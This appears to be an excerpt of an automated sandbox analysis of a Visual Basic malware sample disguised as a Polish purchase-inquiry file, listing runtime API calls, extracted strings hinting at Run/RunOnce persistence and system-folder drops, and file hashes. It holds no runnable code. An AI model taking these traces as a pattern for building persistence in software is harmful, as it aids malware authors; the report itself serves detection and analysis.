__vbaStrMove.MSVBVM60(?), ref: 0040C931
__vbaStrCopy.MSVBVM60 ref: 0040C93F
__vbaStrMove.MSVBVM60(?), ref: 0040C953
__vbaStrMove.MSVBVM60(00407CC4), ref: 0040C987
__vbaStrMove.MSVBVM60(00000000), ref: 0040C997
#690.MSVBVM60(00000000,00000000), ref: 0040C9A4
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,00000000,00000000), ref: 0040C9C4
#600.MSVBVM60(00004008,00000000), ref: 0040C9F1
__vbaEnd.MSVBVM60 ref: 0040CA04

Part of subcall function 00429E10: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CBB8,80000002,00000000,00000000), ref: 00429E2E
Part of subcall function 00429E10: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E5B
Part of subcall function 00429E10: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E67
Part of subcall function 00429E10: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00429E76
Part of subcall function 00429E10: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429E8F
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00429E9F
Part of subcall function 00429E10: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EAD
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EB6
Part of subcall function 00429E10: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429ECB
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429EDB
Part of subcall function 00429E10: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EE9
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EF2
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429F08
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(00429F32,?,?,?,00000000,004032B6), ref: 00429F22
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429F2B

#580.MSVBVM60(00000000,00000027), ref: 0040CA1A
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA32
__vbaStrMove.MSVBVM60 ref: 0040CA3D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CA57
__vbaStrMove.MSVBVM60 ref: 0040CA62
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CA7D
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA99
__vbaStrMove.MSVBVM60 ref: 0040CAA4
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CABD
__vbaStrMove.MSVBVM60 ref: 0040CAC8
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CAE3
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BED1

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D076537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 0040C157
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040C1B9
__vbaStrCat.MSVBVM60( PR,00000000,00000000), ref: 0040C1D2
#600.MSVBVM60(00000008,00000000), ref: 0040C1E8
__vbaFreeVar.MSVBVM60 ref: 0040C1F7
__vbaNew.MSVBVM60(004075DC), ref: 0040C209
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C214
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040C250
__vbaFreeObj.MSVBVM60 ref: 0040C26B
__vbaStrCopy.MSVBVM60 ref: 0040C296
__vbaStrMove.MSVBVM60(?), ref: 0040C2AA
__vbaStrCopy.MSVBVM60 ref: 0040C2B7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C2C7
__vbaStrCopy.MSVBVM60 ref: 0040C2DF

Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 00422A8B
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?,00000000), ref: 00422AA0
Part of subcall function 004228E0: __vbaStrCmp.MSVBVM60(00000000), ref: 00422AA7
Part of subcall function 004228E0: __vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422ACE
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422AF4
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000004), ref: 00422B15
Part of subcall function 004228E0: #618.MSVBVM60(00000000), ref: 00422B1C
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 00422B27
Part of subcall function 004228E0: __vbaI4Str.MSVBVM60(00000000), ref: 00422B2E
Part of subcall function 004228E0: __vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422B45
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422B78
Part of subcall function 004228E0: __vbaFileClose.MSVBVM60(00000000), ref: 00422B7F
Part of subcall function 004228E0: __vbaFreeStr.MSVBVM60(00422BC8), ref: 00422BB8
Part of subcall function 004228E0: __vbaFreeStr.MSVBVM60 ref: 00422BC1

__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B52E

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

__vbaStrMove.MSVBVM60 ref: 0040B4C8

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaStrCmp.MSVBVM60(00406F28,?), ref: 0040B56A
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0D4,00000000), ref: 0040B5CC
__vbaStrCat.MSVBVM60( RU,00000000,00000000), ref: 0040B5E5
__vbaStrMove.MSVBVM60 ref: 0040B5F0
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B611
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B62A
__vbaStrMove.MSVBVM60 ref: 0040B635
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B656
#600.MSVBVM60(00004008,00000000,0042C0D4), ref: 0040B691
__vbaEnd.MSVBVM60 ref: 0040B6A4
__vbaStrCopy.MSVBVM60 ref: 0040BA01
__vbaStrMove.MSVBVM60(?), ref: 0040BA15
__vbaStrCopy.MSVBVM60 ref: 0040BA22
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BA32
__vbaStrCopy.MSVBVM60 ref: 0040BA4A
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040B413

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040CB52
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040CB7A
__vbaStrMove.MSVBVM60 ref: 0040CB85
__vbaFreeStr.MSVBVM60(00000000), ref: 0040CB94
__vbaStrCopy.MSVBVM60(80000002,00000000,00000000,80000002,00000000,00000000), ref: 0040CBE5
__vbaStrMove.MSVBVM60 ref: 0040B2E7

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrCopy.MSVBVM60 ref: 0040B1D7

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0E4

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 0040CBF9
__vbaStrCopy.MSVBVM60 ref: 0040CC06
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC16
__vbaStrCopy.MSVBVM60 ref: 0040CC2E
__vbaStrMove.MSVBVM60(?), ref: 0040CC42
__vbaStrCopy.MSVBVM60 ref: 0040CC4F
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC5F
__vbaStrCopy.MSVBVM60 ref: 0040CC77
__vbaStrMove.MSVBVM60(?), ref: 0040CC8B
__vbaStrCopy.MSVBVM60 ref: 0040CC98
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCA8
__vbaStrCopy.MSVBVM60 ref: 0040CCC0
__vbaStrMove.MSVBVM60(?), ref: 0040CCD4
__vbaStrCopy.MSVBVM60 ref: 0040CCE1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCF1
__vbaStrCopy.MSVBVM60 ref: 0040CD09
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD1B
__vbaStrMove.MSVBVM60 ref: 0040CD26
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CD3B
__vbaStrCat.MSVBVM60(00000000), ref: 0040CD42
__vbaStrMove.MSVBVM60 ref: 0040CD4D
__vbaStrCopy.MSVBVM60 ref: 0040CD5A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CD72
__vbaStrCopy.MSVBVM60 ref: 0040CD8A
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD9C
__vbaStrMove.MSVBVM60 ref: 0040CDA7
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CDBC
__vbaStrCat.MSVBVM60(00000000), ref: 0040CDC3
__vbaStrMove.MSVBVM60 ref: 0040CDCE
__vbaStrCopy.MSVBVM60 ref: 0040CDDB
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CDF3
__vbaStrCat.MSVBVM60(at.,00000000), ref: 0040CE0F
__vbaStrMove.MSVBVM60 ref: 0040CE1A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040CE28
__vbaStrMove.MSVBVM60 ref: 0040CE33
__vbaStrCopy.MSVBVM60 ref: 0040CE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE50
__vbaStrCopy.MSVBVM60 ref: 0040CE68
__vbaStrMove.MSVBVM60(?), ref: 0040CE7C
__vbaStrCopy.MSVBVM60 ref: 0040CE89
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE99

Part of subcall function 00411F00: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CEB3,0042C160), ref: 00411F1E
Part of subcall function 00411F00: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00411F4E
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(0040CEB3,?,?,?,00000000,004032B6), ref: 00411F69
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F7D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00411F86
Part of subcall function 00411F00: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F97
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?,004156AF), ref: 0041565A
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415667
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415674
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415681
Part of subcall function 00411F00: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041568D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 00415696
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 0041569F
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 004156A8

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CEE1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040CF27
__vbaFreeObj.MSVBVM60 ref: 0040CF42
__vbaFreeStr.MSVBVM60(0040CFB1), ref: 0040CFA1
__vbaFreeStr.MSVBVM60 ref: 0040CFAA

Part of subcall function 004115D0: __vbaErase.MSVBVM60(004065BC,0042C078,0000000A,-00000061,6CF8DF85), ref: 00411B74
Part of subcall function 004115D0: __vbaRedim.MSVBVM60(00000000,00000024,0042C078,004065BC,00000001,00000003,00000001), ref: 00411B97
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411BAA
Part of subcall function 004115D0: __vbaGenerateBoundsError.MSVBVM60 ref: 00411BCE
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411BFE
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?), ref: 00411C14
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411C1A
Part of subcall function 004115D0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411C2C
Part of subcall function 004115D0: __vbaAryUnlock.MSVBVM60(?), ref: 00411C3E
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411C4F

__vbaErrorOverflow.MSVBVM60 ref: 0040CFD8
__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040CFFE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040D02E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004077C4,0000001C), ref: 0040D0C9
__vbaI2I4.MSVBVM60 ref: 0040D0ED
__vbaFreeObj.MSVBVM60 ref: 0040D0FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164

Strings

yLZ, xrefs: 0040C34F
MR, xrefs: 0040CB75
at , xrefs: 0040C534
PR, xrefs: 0040C1CD
Once, xrefs: 0040CA52, 0040CAB8
:%7, xrefs: 0040BE17
RU, xrefs: 0040B4B8, 0040B4FD, 0040B5E0, 0040B625
~, xrefs: 0040C4DC
system\, xrefs: 0040B12C, 0040B21E, 0040B2D7, 0040B358, 0040BB8E, 0040BE75, 0040C003, 0040C0AD, 0040CD16, 0040CD97
SE, xrefs: 0040BD75
system32\drivers\, xrefs: 0040BEF6
at., xrefs: 0040CE0A
RO, xrefs: 0040CA2D, 0040CA94

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Free$Copy$List$Error$CheckHresult$Bstr$ChkstkSystem$AnsiNew2Unicode$#580$#525#600File$#517#537#616Unlock$#631$#516#570#648Open$#618#690Get3LockNameSeek$#529#535#598#611#661#669#705#709BoundsCloseComputerDestructEraseFromGenerateGet4OverflowPathRedimUser
String ID: MR$ PR$ RO$ RU$ SE$:%7$Once$at $at.$system32\drivers\$system\$yLZ$~
API String ID: 3992495243-2767012170
Opcode ID: c75b1a3e694dbd6f5d10d2331ab2ca9d09b35fafcf85166375154907e56220f4
Instruction ID: c9e735e97b199634a30fa5df19e6cf838b9fc4480779932f55755727901e6869
Opcode Fuzzy Hash: c75b1a3e694dbd6f5d10d2331ab2ca9d09b35fafcf85166375154907e56220f4
Instruction Fuzzy Hash: D2531A75A00208EFDB14DFA0EE89BDEBBB5EF48304F108169E506B72A0DB745A45CF59

Function 004218D0 Relevance: 161.5, APIs: 91, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,0040C78D,00000000,00000000), ref: 004218EE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042191B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421927
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421933
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00421942
#648.MSVBVM60(0000000A), ref: 00421961
__vbaFreeVar.MSVBVM60 ref: 00421970
__vbaI2I4.MSVBVM60(?), ref: 00421984
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00421992
__vbaI2I4.MSVBVM60 ref: 004219A2
#570.MSVBVM60(00000000), ref: 004219A9
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219B6
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219ED
#525.MSVBVM60(00000000), ref: 004219F4
__vbaStrMove.MSVBVM60 ref: 004219FF
__vbaI2I4.MSVBVM60 ref: 00421A0F
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00421A1A
__vbaI2I4.MSVBVM60 ref: 00421A2A
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00421A37
__vbaStrCopy.MSVBVM60 ref: 00421A4C

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00421A60

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00421A75
__vbaStrCmp.MSVBVM60(00000000), ref: 00421A7C
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00421A9E
__vbaI2I4.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00421ACB
__vbaFileClose.MSVBVM60(00000000,?,?,00000000,Function_000032B6), ref: 00421AD2
__vbaI2I4.MSVBVM60 ref: 00421AE9
__vbaFileClose.MSVBVM60(00000000), ref: 00421AF0
__vbaI2I4.MSVBVM60 ref: 00421B1B
